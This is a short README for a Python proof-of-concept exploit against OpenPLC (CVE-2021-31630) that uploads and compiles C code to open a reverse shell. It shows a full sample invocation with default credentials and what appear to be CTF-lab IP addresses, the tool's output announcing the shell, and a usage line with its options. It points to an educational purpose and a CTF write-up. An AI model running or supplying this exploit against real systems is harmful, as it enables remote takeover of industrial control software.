
POC Exploit for CVE-2021-31630 written in Python3 and using C reverse shell with non-blocking mode
This exploit is based on the exploit from Exploit-DB made by Fellipe Oliveira.
└─# python3 custom_exploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4 --listenerport 8888
[*] Authenticated.
[*] C file uploaded. Waiting for compilation.
[*] Compiled, probably.
[*] Started PLC, you should get your reverse shell now.
[*] Stopped PLC.
python3 exploit.py --url <> --username <> --password <> --listenerip <> --listenerport <>
Options:
--url - URL of the OpenPLC--username - username--password - password--listenerip - IP address of the listener--listenerport - port of the listenerNOTE: This exploit is created as a PoC; use it only for educational purposes or CTFs - https://flojboj.org/article/WifineticTwo